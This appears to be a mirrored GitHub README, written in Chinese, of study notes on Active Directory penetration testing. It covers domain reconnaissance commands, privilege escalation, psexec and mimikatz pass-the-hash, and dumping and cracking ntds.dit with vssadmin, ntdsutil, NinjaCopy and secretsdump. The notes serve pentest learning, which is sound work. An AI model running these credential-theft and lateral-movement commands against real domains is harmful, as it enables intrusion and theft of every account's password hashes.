GithubHelp home page GithubHelp logo

active-directory-pentest's Introduction

Active Directory Pentest

Info

Windows域渗透初探,一边学习一边整理,后边还会慢慢补充,大家有意见或者建议的话欢迎提Issue :)

思路

在域环境中,一般的渗透思路如下:

  1. 获取一台域主机上的一个低权限用户,比如通过Webshell
  2. 信息收集(贯穿始终)
  3. 权限提升(提升到高权限来尝试获取其他域用户的登录凭据)
  4. 横向渗透(利用已经获得的登录凭据对其他域内主机进行渗透,或将当前机器作为代理,对域内其他机器进行扫描)
  5. 重复上述步骤直至控制域控

信息收集

基本信息:net config workstatsion,包括计算机名、用户名、工作站域、登录域

用户相关:

  • 查看域内用户:net user /domain/domain表示向域控发起查询)
  • 查看用户在域内的权限:net user username /domain
  • 查看域内用户组:net group /domain
  • 查看指定组内的用户:net group groupname /domain
  • 查看用户会话:query user
  • 查看用户密码/hash:mimikatz相关知识点

主机相关:

  • 主机发现:net view
  • 定位域控:net time /domainecho %logonserver%
  • 已知目标IP获取主机名和域内身份:nbtstat -A ip,Linux下:nbtscan

nbtstatnbtscan主要使用了NetBIOS Over TCP/IP,相关知识点

域内通信主要通过Windows文件共享来实现,相关知识点

其他工具例如msf中post/windows/gather/下的模块同样可以用来收集信息,各个模块的使用方法详见msf文档

权限提升

meterpreter getsystem

incognito.exe list_tokens -u

  • Administrator -> System / Administrator -> common user
  • 通过窃取用户token来获得用户身份,相关知识点

at运行定时任务

msf exploit/windows/local

  • 可根据KB号来选择相应的exploit

misconfiguration

  • 利用服务、文件或文件夹等不严格的权限限制,比如允许更改服务设置,允许向加载DLL的位置写入文件等等
  • 检查权限的工具:AccessChk,来自Windows Sysinternals
  • misconfiguration检查工具:BeRoot

横向渗透

代理、端口转发

  • 推荐:Termite
  • Meterpreter autoroute、socks4a
  • ssh、reGeorg、lcx.exe ...

Remote Command Execution(在获取到远程机器登录凭据的情况下在远程机器上执行命令)

  • psexec

    • 原理:

      通过ipc$连接,然后释放psexesvc.exe到目标机器。

      通过服务管理SCManager远程创建psexecsvc服务,并启动服务。

      客户端连接执行命令,服务端启动相应的程序并执行回显数据。

      限制:需要开启admin$共享和开启445端口

      优势:执行成功直接提供System权限

  • WMI

  • mimikatz pass the hash(适用于不知道用户名密码但是知道hash的情况)

    • mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:test.local /ntlm:efa85b42d77dc2fdbdbdb767792b0a11"

    • This patches in the particular NTLM hash into LSASS memory, turning it into a kerberos ticket.

      原理是将特定的NTLM hash补丁放入LSASS内存,将其变成kerberos ticket。

    • 这样执行完后已经获得了目标用户的身份,然后就可以用net use等连接目标机器,无需知道用户的密码。

权限维持

  • Ntds.dit

    • NT Directory Service . Directory Information Tree

    • 数据库文件,存储着域数据

    • 存储在两个位置

      • %SystemRoot%\NTDS\Ntds.dit:真正的数据文件
      • %SystemRoot%\System32\Ntds.dit:分发副本,当一台机器升级到域控时,将该文件拷贝到 %SystemRoot%\NTDS\Ntds.dit,域数据由后者记录
    • 文件导出

      • 由于该文件在被域使用,所以无法直接copy

      • Volume Shadow Copy

        • vssadmin create shadow /for=C:
          copy VolumeName\Windows\NTDS\ntds.dit C:\Extract\ntds.dit
          copy VolumeName\Windows\System32\config\SYSTEM C:\Extract\SYSTEM
          vssadmin delete shadows /shadow={ShadowID}
      • PowerSploit NinjaCopy

        • Invoke-NinjaCopy -path C:\Windows\NTDS\ntds.dit -verbose -localdestination C:\Extract\ntds.dit
      • Ntdsutil

        • ntdsutil snapshot "activate instance ntds" create quit quit
          ntdsutil snapshot "mount {GUID}" quit quit
          copy MOUNT_POINT\Windows\NTDS\ntds.dit C:\Extract\ntds.dit
          ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit
    • 哈希提取

      • DSInternals Get-ADDBAccount

        • $key = Get-BootKey -SystemHivePath 'C:\Extract\SYSTEM'
          Get-ADDBAccount -All -DBPath 'C:\Extract\ntds.dit' -BootKey $key
      • Meterpreter smart_hashdump

      • impacket secretsdump.py

        • python secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/systemhive LOCAL

常用工具

Metasploit:https://github.com/rapid7/metasploit-framework

PowerSploit:https://github.com/PowerShellMafia/PowerSploit ,多种PowerShell后渗透模块

Empire:https://github.com/EmpireProject/Empire ,基于PowerShell的后渗透框架,更适合内网渗透

Windows sysinternals:https://docs.microsoft.com/en-us/sysinternals/ ,Windows支持的工具集

Reference

https://3gstudent.github.io/

http://www.fuzzysecurity.com/tutorials/25.html

https://github.com/l3m0n/pentest_study

https://www.offensive-security.com/metasploit-unleashed/post-module-reference/

https://support.microsoft.com/en-us/help/313565/how-to-use-the-at-command-to-schedule-tasks

http://www.fuzzysecurity.com/tutorials/16.html

https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/

https://blog.stealthbits.com/extracting-password-hashes-from-the-ntds-dit-file/

https://blog.ropnop.com/extracting-hashes-and-domain-info-from-ntds-dit/

active-directory-pentest's People

Contributors

imp0wd3r avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.